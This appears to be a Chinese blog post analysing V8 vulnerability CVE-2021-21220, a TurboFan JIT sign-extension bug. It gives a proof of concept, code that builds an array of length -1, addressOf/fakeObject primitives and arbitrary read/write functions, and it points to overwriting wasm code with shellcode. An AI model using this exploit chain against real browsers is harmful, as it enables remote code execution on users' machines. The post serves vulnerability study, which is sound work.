V8版本: 9.2.0
commit: 1e4b1c521a491c7487028b7f2aec550c1b36606b
漏洞文件:instruction-selector-x64.cc
漏洞函数:InstructionSelector::VisitChangeInt32ToInt64
补丁信息: https://chromium-review.googlesource.com/c/v8/v8/+/2820971/3/src/compiler/backend/x64/instruction-selector-x64.cc#1381

简介

这个漏洞的主要原因应该是在JIT优化时由两个点造成的:

  1. 在JavaScript中,按位运算符将其操作数转换为二进制补码格式的 32 位有符号整数, 无符号操作数与0异或变成了有符号的数,:
    arr[0]是unsigned int32 = 231 = 2147483648 = 0x8000 0000
    arr[0] ^ 0会转成signed int32 = 2
    31^0 = 0x8000 0000 = -2147483648
    这个问题是由当时协议规定的(现在协议更加详细):
  2. 函数ChangeInt32ToInt64将32位整形数向64位进行拓展,代码为判断传入的32位整型数是否为有符号从而选择movsx和mov.
    这个点联合起来就可能构造一个超长数组, 长度为-1(0xffffffff),导致越界访问读写操作, 从而导致任意代码执行.
    验证漏洞的POC如下:
print = console.log;
const arr = new Uint32Array([2**31]);       // 定义了一个只有一个元素的Uint32类型的数组
function foo() {return (arr[0] ^ 0) + 1;                // 漏洞触发
}
print(foo());//-2147483647                  // 解释器工作
for(let i=0;i<100000;i++)                    // 代码价值提升,交由JIT处理foo();
print(foo());//2147483649                   //JIT处理后的结果

通过poc可以看到, JIT优化前后的输出结果不一样.

执行流分析

在优化前的SimplifiedLowering阶段, 函数处理是没有问题的, 通过#45 LoadTypedElement可以知道arr[0]的类型 Unsigned32,然后通过#31 Word32Xor处理之后类型为Signed32,然后需要做int32到int64的转换,调用了#58 ChangeInt32ToInt64,并将返回值与#59 Int64Constant[1]作为参数交由#50 ChangeInt32ToInt64处理:

但是在MachineOperatorOptimization阶段, 将arr[0] ^ 0通过JIT在#81 Load处获取运算所得的结果,此时该结果的类型为kRepWord32[kTypeUint32],为无符号,此时仍然经过#58 ChangeInt32ToInt64进行处理:

EXP的关键点

JavaScript函数的前几次调用期间,解释器会记录各种操作的类型信息, 比如参数访问和属性加载; 如果以后选择该函数进行JIT编译,则V8的编译器TurboFan会假定在所有后续调用中都将使用观察到的类型,并使用从解释器中得出的规则集将类型信息传播到JIT, 所以我们可以通过上面的漏洞这样构造数组:

function foo(a) {var x = 1;x = (_arr[0] ^ 0) + 1;x = Math.abs(x);x -= 2147483647;       x = Math.max(x, 0);         // predicted = 0; actual = 2x -= 1;                    // predicted = -1; actual = 1if(x==-1) x = 0;            // predicted = 0; actual = 1           var arr = new Array(x);     // predicted = 0; actual = 1arr.shift();                // predicted = 0; actual = -1var cor = [1.1, 1.2, 1.3];return [arr, cor];
}
var x = foo(false);for(var i=0;i<0x30000;++i){foo(true);
}var x = foo(false);
print(x[0].length);         // -1

在foo函数中, 开始的时候解释器在处理shift的时候判断x的值为0,正常执行,所以在JIT阶段优化掉了边界检查;而在JIT阶段因为漏洞的原因x==1,但是此时JIT仍将x的值当作0,由于x实际为1,所以shift会对数组长度做减一操作,再由于此时JIT将x的值当作0,所以最终数组的长度为0-1 == -1,这样就可以构造出了超长的数组, 可以进行越界的读写操作了:

有了越界读写的能力之后,我们就就是常规的进行类型混淆,构造自己的fake object,然后得到任意地址读写的能力;

addressOf and fakeObject

var arr = x[0];
var cor = x[1];
const idx = 6;arr[idx+10] = 0x2333;
function addressOf(k) {arr[idx+1] = k;return f2big(cor[0]) & 0xffffffffn;        }function fakeObject(k) {cor[0] = big2f(k);return arr[idx+1];         //返回的也只是低四字节
}
var test = [1.1,2.2,3.3];
test_addr = addressOf(test);
console.log(test_addr);
// %DebugPrint(arr);
// %DebugPrint(cor);
// %SystemBreak();

这里需要注意的是,由于有指针压缩,所以我们只能得到4个字节的地址信息, 这里的arr其实是包含了cor的了:

任意读写原语实现

var float_array_map = f2big(cor[3]);
var arr2 = [big2f(float_array_map), 1.2, 2.3, 3.4];         //创建伪造对象的数组
var fake = fakeObject(addressOf(arr2) + 0x20n);             //通过fakeObject伪造对象
function arbread(addr) {if (addr % 2n == 0)addr += 1n;arr2[1] = big2f((2n << 32n) + addr - 8n);               //由于指针压缩,需要这样写地址return (fake[0]);
}function arbwrite(addr, val) {if (addr % 2n == 0)addr += 1n;arr2[1] = big2f((2n << 32n) + addr - 8n);fake[0] = big2f(BigInt(val));
}

因为对象操作的指针,所以我们可以任意地址读写了, 然后就是常规的wasm利用了, 将shellcode替换wasm_code…

v8漏洞任意地址读写(CVE-2021-21220)相关推荐

  1. 利用格式化字符串漏洞实现任意地址读写

    格式化字符串漏洞是一个经典的 pwn 类型漏洞,入门文章很多,例如如下博客 格式化字符串漏洞小总结(上) - 先知社区 (aliyun.com) 原理介绍 - CTF Wiki (ctf-wiki.o ...

  2. linux 负数_linux内核提权系列教程(2):任意地址读写到提权的4种方法

    一.漏洞代码分析 代码见arbitrary.h. 1.功能函数介绍 功能 输入结构名 输入结构 功能 ARBITRARY_RW_INIT init_args size 初始化全局对象,存于g_mem_ ...

  3. 任意地址读写驱动提权(cred、VDSO、modprobe_path、core_pattern、修改内核指针提权)

    驱动提权实战 题目网址:https://github.com/bsauce/kernel_exploit_series 业务流程 ioctl 先分析下驱动程序 static long do_ioctl ...

  4. STM32F407单片机通用24CXXX读写程序(KEIL),兼容24C系列存储器(24C01到24C512),支持存储器任意地址跨页连续读写多个页

    一.AT24CXXX容量   AT24C01,AT24C02,AT24C04,AT24C08,AT24C16,AT24C32,AT24C64,AT24C128,AT24C256-不同的xxx代表不同的 ...

  5. 某OA ajax.do 未授权漏洞任意文件上传getshell复现

    某OA ajax.do 未授权漏洞任意文件上传getshell复现 0x00 简介 某OA A8 是一款流行的协同管理软件,在各中.大型企业机构中广泛使用. 由于某旧版本某些接口能被未授权访问,并且部 ...

  6. linux内核安全数据,【漏洞分析】Linux内核XFRM权限提升漏洞分析预警(CVE–2017–16939)...

    0x00 背景介绍 2017年11月24日, OSS社区披露了一个由独立安全研究员Mohamed Ghannam发现的一处存在于Linux 内核Netlink socket子系统(XFRM)的漏洞,漏 ...

  7. 内核提权,任意地址写任意数据/固定数据模型

    实验环境 xp sp3 此实验将一个不常用的内核函数置0,然后R3申请了0地址的指针,将shellcode拷到此内存,内核并没有做ProbeForRead /Write检查 直接对传入的数据进行了修改 ...

  8. socket绑定的ip为INADDR_ANY 的意义 htonl(INADDR_ANY)(0.0.0.0所有地址、不确定地址、任意地址)(htonl和htons区别)

    INADDR_ANY 表示监听0.0.0.0地址,socket只绑定端口,不绑定本主机的某个特定ip,让路由表决定传到哪个ip(0.0.0.0地址表示所有地址.不确定地址.任意地址)(一台主机中如果有 ...

  9. PHP序列化-Typecho框架漏洞-任意代码执行

    0x00 漏洞框架介绍 typecho框架存在反序列化漏洞,利用此漏洞可执行任意代码 php的版本一定要在5.4以上 Typecho版本一定是 1.0 (14.10.10) 高版本现在都修复了 0x0 ...

最新文章

  1. 在Ubuntu 14.04 64bit上安装python-pyqt5软件包(python 2.7)
  2. 赠票 | 来智源大会,聆听张钹院士、Michael I. Jordan等大咖分享!
  3. Endnote教程 : 仅需两步,一键转化参考文献为纯文本
  4. 两台linux之间传递文件
  5. Qt维基文档翻译:D-指针,D-Pointer
  6. sysbench测试
  7. C++的隐式转换和explicit关键字
  8. Java面向对象的编程
  9. 【数据结构实验题】0/1背包问题的递归求解(注意输出所选物品下标的方法)
  10. Aiml中文包含英文(字母,特殊符号)识别问题的解决
  11. 组装台式计算机的相关要求,台式电脑的组装配置清单
  12. GHOST系统封装详细图文教程完整版(二)
  13. java中retry的使用
  14. mysql master host_MySQL5.5.28配置master-maser复制,master-host等参数不用了
  15. ORA-12547: TNS:lost contact 问题处理
  16. 学生党必备好物神器:科大讯飞智能录音笔
  17. 【MongoDB】MacOS安装MongoDB完整收录
  18. linux—高级网络配置:网桥
  19. 关于meta NAME=keywords CONTENT=
  20. CS+ for CC编译器设置记录

热门文章

  1. Java项目的代码如何实现?
  2. tx2 安装opencv4.1.1及opencv_contrib-4.1.1
  3. 靠大数据 资讯网站“据”透世界杯?
  4. 牛顿迭代法求平方根倒数
  5. FDC2214+STM32F103
  6. turtle简单绘图
  7. oracle job
  8. linux 一次io大小,linux – AWS EBS中IO操作(IOP)的大小是多少?
  9. 打开 html 无地址栏,打开网页没有地址栏怎么办?
  10. 51单片机——汇编指令合集